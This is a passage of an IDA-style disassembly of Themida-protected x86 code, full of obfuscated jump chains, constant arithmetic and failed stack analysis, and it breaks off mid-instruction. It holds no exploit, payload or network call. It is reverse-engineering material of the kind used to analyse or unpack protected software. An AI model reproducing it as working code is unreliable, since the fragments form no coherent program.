; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58DC87: ; CODE XREF: sub_58C17E+365Fj add edx, 0A4B796FBh mov edi, edx pop edx sub ebp, edi jmp loc_593000 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59338C loc_58DC97: ; CODE XREF: sub_59338C-5ECEj add ebx, 2E3970AFh push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_58BA80 ; END OF FUNCTION CHUNK FOR sub_59338C ; --------------------------------------------------------------------------- loc_58DCA8: ; CODE XREF: Themida_:0058C5B9j mov dl, 1 add bl, dl push dword ptr [esp] pop edx jmp loc_58F19A ; --------------------------------------------------------------------------- loc_58DCB5: ; CODE XREF: Themida_:0058B727j sub esp, 4 jmp loc_590E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DCC0: ; CODE XREF: sub_5916C4+4065j ; Themida_:00596806j pop ebp xor edx, ecx jmp loc_596BBC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58DCC8: ; CODE XREF: sub_58D99C+7j push 0A52h mov [esp+8+var_8], ebx jmp loc_58EB80 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- loc_58DCD5: ; CODE XREF: Themida_:0058FDA7j sub ebx, 0CF1CFB3Ah jmp loc_58C9E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58DCE0: ; CODE XREF: sub_5EC2E8-5B491j push esi pop eax jmp loc_5960D9 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58DCE7: ; CODE XREF: sub_5938B9+3659j sub edx, 839639D8h jmp loc_58E321 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58DCF2: ; CODE XREF: Themida_:0058AE1Cj and ebp, 8F0ABDh inc ebp push eax jmp loc_59544F ; --------------------------------------------------------------------------- loc_58DCFF: ; CODE XREF: Themida_:00597268j pop edx sub ebx, 4 xor ebx, [esp] jmp loc_5976A8 ; --------------------------------------------------------------------------- loc_58DD0B: ; CODE XREF: Themida_:0058AE35j add eax, 4 xchg eax, [esp] jmp loc_58A2F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58DD16: ; CODE XREF: sub_590010+43j pop eax add esp, 4 sub esp, 4 mov [esp+4+var_4], esi mov esi, 77052F73h or esi, 58910AC7h not esi shl esi, 6 jnp loc_597EAB xor esi, 55980443h add eax, esi jmp loc_58F7FE ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58DD46: ; CODE XREF: Themida_:005971C5j js loc_58BC9A jmp loc_5956E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DD51: ; CODE XREF: sub_5916C4-4155j shl bl, 1 jns loc_58BE32 sub bl, 8 mov ch, bl jmp loc_594A46 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- and dh, 0D1h ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DD66: ; CODE XREF: sub_5916C4+12B4j and ebp, 48284B69h jmp loc_596109 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] add esp, 4 push 374h mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp push ebx mov ebx, 0D413D04h push edi jmp loc_58D24D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58DD99: ; CODE XREF: sub_590010-18E7j pop edi pop esi jmp loc_58F784 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58DDA0: ; CODE XREF: Themida_:0058FC5Bj add esp, 4 jmp loc_58DE1C ; --------------------------------------------------------------------------- loc_58DDAB: ; CODE XREF: Themida_:0058D5C8j add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_593BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E980 loc_58DDBC: ; CODE XREF: sub_58E980+48EEj jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58E980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58DDC1: ; CODE XREF: sub_5EC2E8-5A35Dj push edi mov edi, 4 jmp loc_58C717 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58DDCC: ; CODE XREF: sub_590467-368Ej push [esp-6+arg_4+2] jmp loc_592845 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58DDD5: ; CODE XREF: sub_590010+2C3Cj add [esp-4+arg_0], 735F566Dh mov ebx, [esp-4+arg_0] push edx mov edx, esp push esi jmp loc_58C28C ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58DDE8: ; CODE XREF: Themida_:00591E0Cj xor esi, 0D066F37h jp loc_58F27D shr esi, 1 jnp loc_5947DC mov esi, edx mov ecx, ebx loc_58DE00: ; CODE XREF: Themida_:00591C3Ej sub ecx, 782740ADh jns loc_5945D0 shr ecx, 3 xor ecx, 39B0A706h mov eax, ecx jmp loc_58C2A8 ; --------------------------------------------------------------------------- loc_58DE1C: ; CODE XREF: Themida_:0058DDA6j neg ebx js loc_5944C8 jmp loc_594490 ; --------------------------------------------------------------------------- mov ax, [esp] push 4EA7h push ebp loc_58DE33: ; CODE XREF: Themida_:0058BF02j add edi, 5CAB0E09h xor edi, 84EB42C9h add ebx, 6F41586Bh add ebx, edi sub ebx, 6F41586Bh pop edi jmp loc_59427D ; --------------------------------------------------------------------------- loc_58DE53: ; CODE XREF: Themida_:0058F946j inc eax jz loc_5940F3 jmp loc_591E21 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58DE67: ; CODE XREF: Themida_:0058C621j shr esi, 3 not esi jmp loc_592CF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58DE71: ; CODE XREF: sub_590467+62C5j neg ebp add ebp, 0A595056h xor ebp, 2401E45h xor ebp, 8A1D3027h add edx, ebp jmp loc_5945A6 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58DE8C: ; CODE XREF: sub_592D25+AA5j push esi jmp loc_591162 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_58DE92: ; CODE XREF: Themida_:0058C915j xor eax, 7607DFB4h shr eax, 4 jmp loc_596E5D ; --------------------------------------------------------------------------- loc_58DE9F: ; CODE XREF: Themida_:00595218j mov esi, 4E185CBDh jmp loc_5949AF ; --------------------------------------------------------------------------- loc_58DEA9: ; CODE XREF: Themida_:005905E3j push ebp jmp loc_590EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58DEAF: ; CODE XREF: sub_59762D-2310j mov dh, bl pop ebx pop eax sub esp, 2 jmp loc_5912E1 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58DEBB: ; CODE XREF: sub_5916CB-B60j add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx mov ecx, 4 jmp loc_5969EA ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_58DED8: ; CODE XREF: sub_595BDA+2273j jnz loc_593E3F jmp loc_58E5FA ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- pop edx push ebp xor dword ptr [esp], 64F20A58h pop ebx ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58DEED: ; CODE XREF: sub_58F5B5-3A67j xchg eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], eax sub esp, 4 jmp loc_58B2FC ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58DF01: ; CODE XREF: Themida_:loc_58C0B5j jmp loc_5903A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58DF06: ; CODE XREF: sub_59524C-6E57j pop edx jmp loc_58E132 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58DF0C: ; CODE XREF: sub_58B4D6+5C23j sub edx, ecx pop ecx xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebx mov ebx, 7D2928DAh jmp loc_596B2F ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58DF20: ; CODE XREF: sub_5916CB+4A7Dj xchg edi, [esp+0] jmp loc_58CEB1 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- lodsd push edi mov edi, 40746DD8h add edi, 0DE80AA4Ch jmp loc_5937CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58DF3A: ; CODE XREF: sub_595123-1E8Fj add ecx, 4 sub ecx, 4 xchg ecx, [esp+14h+var_14] jmp loc_59502C ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58DF4E: ; CODE XREF: sub_591059-4E4Ej add esi, 0C53D106Ah sub ebx, esi jmp loc_58B6C0 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58DF5B: ; CODE XREF: sub_5938B9-57A2j push 0FE1h mov [esp-0Ch+arg_8], esi sub esp, 4 mov [esp-8+arg_4], ecx sub esp, 4 mov [esp-4+arg_0], esi jmp loc_596D04 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58DF77: ; CODE XREF: Themida_:00597A05j mov bh, 0B0h xor ah, bh pop ebx add bl, ah pop eax xor bl, 0F2h jl loc_5911CF push ecx mov ch, 2 push eax mov al, ch not al mov ch, al pop eax push bx loc_58DF95: ; CODE XREF: Themida_:0059116Bj ; Themida_:005934AFj push esi mov esi, 34187E85h jmp loc_595A25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DFA0: ; CODE XREF: sub_5916C4-6AD6j pop edx and [edi+1Ch], ecx push [esp-8+arg_4] jmp loc_590497 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58DFAC: ; CODE XREF: sub_595258-8BCBj pop ecx jmp loc_594868 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_58DFB2: ; CODE XREF: sub_59089C+3084j mov [esp+4+var_4], edi sub esp, 4 jmp loc_58EF99 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58DFBD: ; CODE XREF: sub_5916C4+300Cj jmp loc_58E3B4 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58DFC2: ; CODE XREF: sub_595258+1EC6j neg [esp+8+var_8] push [esp+8+var_8] mov ebp, [esp+0Ch+var_C] jmp loc_591B8F ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_58DFD0: ; CODE XREF: Themida_:005960D4j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58DFD5: ; CODE XREF: sub_58C17E+23A1j add ch, 0BBh sub bl, ch jmp loc_58C360 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59590E loc_58DFDF: ; CODE XREF: sub_59590E-EDFj mov esp, [esp+0] sub [esp-4+arg_0], ax pushf jmp loc_58E8A5 ; END OF FUNCTION CHUNK FOR sub_59590E ; --------------------------------------------------------------------------- loc_58DFEC: ; CODE XREF: Themida_:0058CC2Aj add esi, edx pop edx pop ebx jmp loc_58A3A9 ; --------------------------------------------------------------------------- loc_58DFF5: ; CODE XREF: Themida_:0059219Bj pop ecx add ecx, 4 add ecx, 4 push 399Eh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_596DBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E019: ; CODE XREF: sub_58C17E+5EC7j sub ecx, 0BB2A04F5h push ecx add [esp+4+var_4], 6DD019Bh jmp loc_58C41D ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E02C: ; CODE XREF: Themida_:0058E4D2j shr ebx, 5 js loc_5949D3 xor ebx, 5471A2B7h sub esp, 4 mov [esp], edx mov edx, 68151C07h push ebx mov ebx, 23CD6306h dec ebx xor ebx, 70690093h jmp loc_58FA45 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] sub dword ptr [esp], 542F23F9h push dword ptr [esp] pop eax push ecx mov ecx, esp jmp loc_5939B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58E06E: ; CODE XREF: sub_590467-5051j ; Themida_:00593210j ... pop ebp add esp, 4 jmp loc_592127 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58E077: ; CODE XREF: sub_58F5B5+6898j xor al, bh mov ebx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp push eax mov al, 0Bh add al, 5Eh sub bl, al pop eax push dx push ebx mov bh, 0EBh mov dh, 0C3h add dh, bh pop ebx add bl, dh jmp loc_58F79C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58E0A8: ; CODE XREF: Themida_:0058C893j push esi mov esi, 1E9E7A74h xor esi, 1E9E7A70h add eax, esi pop esi add eax, 4 push eax push dword ptr [esp+4] jmp loc_592D6F ; =============== S U B R O U T I N E ======================================= sub_58E0C4 proc near ; CODE XREF: Themida_:0058A9C5j ; sub_590010+5FDBj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059000C SIZE 00000004 BYTES ; FUNCTION CHUNK AT 005972BC SIZE 00000012 BYTES push ebx push esp jmp loc_5972BC sub_58E0C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58E0CB: ; CODE XREF: sub_595123-6AFAj or edi, 54A513FBh push edx mov edx, 7E6AFFACh add edi, edx pop edx push edi jmp loc_58EDF3 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58E0E0: ; CODE XREF: sub_58B4D6+373Ej sub ebp, 87475084h jmp loc_59094E ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_58E0EB: ; CODE XREF: Themida_:0058C4E4j ; Themida_:0058FDD5j pop ebx jmp loc_596F48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_58E0F1: ; CODE XREF: sub_59089C+FF6j pop edi add edi, ebx pop ebx add edi, 4 xchg edi, [esp+4+var_4] pop esp xor edx, edx jmp loc_59391B ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58E115: ; CODE XREF: sub_5938B9+33Dj pop eax std jmp loc_58DF5B ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D12 loc_58E11C: ; CODE XREF: sub_592D12-851Ej sub eax, 309F7A81h jmp loc_58C927 ; END OF FUNCTION CHUNK FOR sub_592D12 ; --------------------------------------------------------------------------- loc_58E126: ; CODE XREF: Themida_:005934DDj shl bh, 1 add bh, 0Fh inc bh jmp loc_58E71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58E132: ; CODE XREF: sub_59524C-7345j shl ebx, 6 push ebx inc [esp+4+var_4] pop ebx push esi mov esi, 0AB158541h jmp loc_59125D ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E145: ; CODE XREF: sub_58C17E+97Dj xchg edx, [esp+0Ah+var_C+2] jmp loc_58C1D7 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E14D: ; CODE XREF: Themida_:loc_58F636j xor ah, 41h mov dl, ah pop eax xchg bl, dl not bl jmp loc_592F48 ; --------------------------------------------------------------------------- loc_58E15C: ; CODE XREF: Themida_:00593760j mov [esp], ebx mov ebx, 79C86DCDh push ecx mov ecx, 0AA06F6Bh and ecx, 48921D29h jmp loc_58FC44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58E175: ; CODE XREF: sub_595123-4A21j pop [esp+18h+var_18] mov esp, [esp+14h+var_14] jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58E180: ; CODE XREF: Themida_:0058E8ABj shl ch, 7 jmp loc_59738C ; --------------------------------------------------------------------------- push 704Dh mov [esp], esi push ecx mov ecx, 21F215Ah mov esi, 5D7DE8B6h add esi, 290551DAh add esi, ecx push ecx mov ecx, 290551DAh sub esi, ecx pop ecx pop ecx shl esi, 3 jnz loc_591E0B dec esi jl loc_58B632 jmp loc_58D0AE ; --------------------------------------------------------------------------- loc_58E1C2: ; CODE XREF: Themida_:0058C642j add esi, 4C940B83h jl loc_591C0D add esi, 0F2886CF2h push esi push edi mov edi, 17022448h sub [esp+4], edi jmp loc_592E42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58E1E4: ; CODE XREF: sub_5938B9-70D1j push edi jmp loc_5905F9 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_58E1EA: ; CODE XREF: sub_595E21-694Dj add esp, 4 and eax, edi pop edi shr eax, 0Bh jmp loc_59709B ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_58E1FB: ; CODE XREF: Themida_:0059685Ej pop ecx add ecx, 4 jmp loc_5931B7 ; --------------------------------------------------------------------------- lodsw jmp loc_590ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58E20E: ; CODE XREF: sub_590467+7442j add edx, 6F356822h add edx, edi jmp loc_59671A ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_58E21B: ; CODE XREF: sub_58B4D6+B0C9j pop ebp jmp loc_597E05 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58E221: ; CODE XREF: sub_5916C4+4A54j sub ebx, 0B55CAA96h jmp loc_58C497 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58E22C: ; CODE XREF: sub_58F5B5+87AFj not eax xchg eax, ebp push eax mov eax, 7F114173h and eax, 6C0D6D9Ah xor eax, 0ACA7AF80h xor ebp, eax pop eax add edi, ebp jmp loc_58B6EF ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58E249: ; CODE XREF: Themida_:0058CAF2j pop edx add al, 19h sub al, cl sub al, 19h pop cx sub al, bl sub esp, 4 jmp loc_5935B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E25F: ; CODE XREF: sub_5916CB+15DDj mov edx, 3B017E4Bh sub edx, 3542E84h jl loc_58F57A dec edx jnp loc_58ACB6 dec edx jg loc_59682E push eax mov eax, 5AD52A50h dec eax jmp loc_592FD6 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_58E28A: ; CODE XREF: Themida_:0059292Ej sub ebx, 13320A86h push esi jmp loc_5913C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_58E296: ; CODE XREF: sub_58F836+83AEj add esp, 4 sub ebx, 2C7938CFh sub ebx, 14A11A4Eh add ebx, eax add ebx, 14A11A4Eh add ebx, 2C7938CFh pop eax push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp+4+var_4] pop esp shr ecx, 7 push 6E6Bh mov [esp+4+var_4], edx push eax push 45F3h mov [esp+0Ch+var_C], ebp jmp loc_58BA29 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- loc_58E2DA: ; CODE XREF: Themida_:0058DA14j pop edx jmp loc_58AA30 ; --------------------------------------------------------------------------- loc_58E2E0: ; CODE XREF: Themida_:0058D63Dj push dword ptr [esp] pop ecx add esp, 4 add esp, 4 jmp loc_59734A ; --------------------------------------------------------------------------- loc_58E2F2: ; CODE XREF: Themida_:005964B3j sub ecx, 0C40F97E5h or eax, ecx pop ecx jmp loc_59274A ; --------------------------------------------------------------------------- loc_58E300: ; CODE XREF: Themida_:005945DBj jmp loc_58F385 ; --------------------------------------------------------------------------- loc_58E305: ; CODE XREF: Themida_:0058EE5Aj pop esp mov [esp], esi mov esi, 4D782829h push edx jmp loc_5972DB ; --------------------------------------------------------------------------- loc_58E314: ; CODE XREF: Themida_:005916FEj add ebx, 0FC226EEDh sub ecx, ebx jmp loc_595B0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58E321: ; CODE XREF: sub_5938B9-5BCCj xor ebx, edx pop edx jmp loc_597492 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_58E329: ; CODE XREF: Themida_:0059542Cj push ecx jmp loc_594AC0 ; --------------------------------------------------------------------------- loc_58E32F: ; CODE XREF: Themida_:0058EB7Bj sub eax, 24AF5079h push edx push 20FFh jmp loc_5940C6 ; --------------------------------------------------------------------------- loc_58E33F: ; CODE XREF: Themida_:0058FAACj ; Themida_:00597806j xchg ecx, ebp not ecx xchg ecx, ebp and ebp, 3EB95DC3h push ecx mov ecx, 7F875FB0h and ecx, 7E00084Ah and ecx, 7974385Fh not ecx not ecx add ecx, 8C1848FDh sub ebp, ecx pop ecx add eax, ebp pop ebp push ebp mov ebp, 4 jmp loc_58CF38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58E378: ; CODE XREF: sub_58F5B5-43E5j push 2242h mov [esp+10h+var_10], esi mov esi, 1D5649CEh push ecx mov ecx, 51436559h and esi, ecx jmp loc_58EE5F ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58E392: ; CODE XREF: Themida_:loc_58C6DBj dec edi jge loc_58DC7A inc edi jz loc_591B8F push ebx jmp loc_590592 ; =============== S U B R O U T I N E ======================================= sub_58E3A6 proc near ; CODE XREF: sub_5951B9-2DAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058B1D5 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058CC4B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058FB66 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00591984 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592B77 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00596481 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00596CEF SIZE 00000007 BYTES push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_58B1D5 sub_58E3A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58E3B4: ; CODE XREF: sub_5916C4:loc_58DFBDj shr ebp, 5 jz loc_59232E neg ebp jg loc_595C0E jmp loc_5933FD ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58E3CA: ; CODE XREF: Themida_:0058A9EEj pop esi push 36F2h mov [esp], edx mov edx, 51BE574Ch jmp loc_590C11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58E3DD: ; CODE XREF: sub_595258+1F5Fj mov [esp+0Ch+var_C], esi jmp loc_58BD59 ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58E3E5: ; CODE XREF: sub_59524C+7j mov edx, 1 sub ebx, edx pop edx push edx mov edx, 1 sub ebx, edx jmp loc_58DF06 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58E3FA: ; CODE XREF: Themida_:0058E7DAj push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx jmp loc_58BC2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58E40C: ; CODE XREF: sub_58F5B5+81A8j add edx, 4 add edx, 4 xchg edx, [esp+14h+var_14] pop esp xor ecx, edx push [esp+10h+var_10] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+14h+var_14] pop esp and eax, ecx push [esp+10h+var_10] pop ecx jmp loc_58C762 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_58E43D: ; CODE XREF: Themida_:0059436Cj mov eax, 7BEE784Dh not eax jmp loc_596305 ; --------------------------------------------------------------------------- loc_58E449: ; CODE XREF: Themida_:00597DA1j push si jmp loc_58F385 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58E450: ; CODE XREF: sub_59762D-6344j pop ax add dh, 6 jmp loc_58FB86 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_58E45A: ; CODE XREF: Themida_:0058AA15j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_58D0AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58E47C: ; CODE XREF: sub_590467+5D5Fj sub bh, 4Ch push ecx mov ch, 41h jmp loc_58D5EE ; --------------------------------------------------------------------------- loc_58E487: ; CODE XREF: sub_590467+5D4Fj sub dh, 0E1h push ecx mov cl, dh mov bh, cl pop ecx jmp loc_5927CD ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E495: ; CODE XREF: sub_58C17E+1524j ; Themida_:0058D81Dj ... jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58E49A: ; CODE XREF: Themida_:0058E723j pop ebx xor dl, 0D9h xor ah, dl mov edx, [esp] add esp, 4 xchg cl, ah inc cl xchg cl, ah neg ah push edx mov dl, 90h jmp loc_58E691 ; --------------------------------------------------------------------------- loc_58E4B9: ; CODE XREF: Themida_:0058A589j mov ebx, 58515173h neg ebx add ebx, 59737870h jo loc_5968FA xor ebx, 18BC5B2Fh jge loc_58E02C shr ebx, 5 js loc_5952AE mov ecx, edx ; START OF FUNCTION CHUNK FOR sub_5916CB loc_58E4E3: ; CODE XREF: sub_5916CB+42EEj pop esi push edi pop eax jmp loc_5937A4 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58E4EB: ; CODE XREF: sub_5EC2E8-5E9D4j sub edx, 8A95E43h add ebx, edx pop edx push 477Fh mov [esp+24h+var_24], edx push ecx mov ecx, 1C92080Ah jmp loc_58B085 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58E507: ; CODE XREF: sub_58C17E+37FDj neg ebx xor ebx, 7154B0Bh jmp loc_592682 ; --------------------------------------------------------------------------- loc_58E514: ; CODE XREF: sub_58C17E+B6F7j dec ch jo loc_58DB64 or ch, 9Dh jmp loc_58DFD5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5966C1 loc_58E524: ; CODE XREF: sub_5966C1-A4AFj pop edx jmp loc_5972A4 ; END OF FUNCTION CHUNK FOR sub_5966C1 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 5330h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr 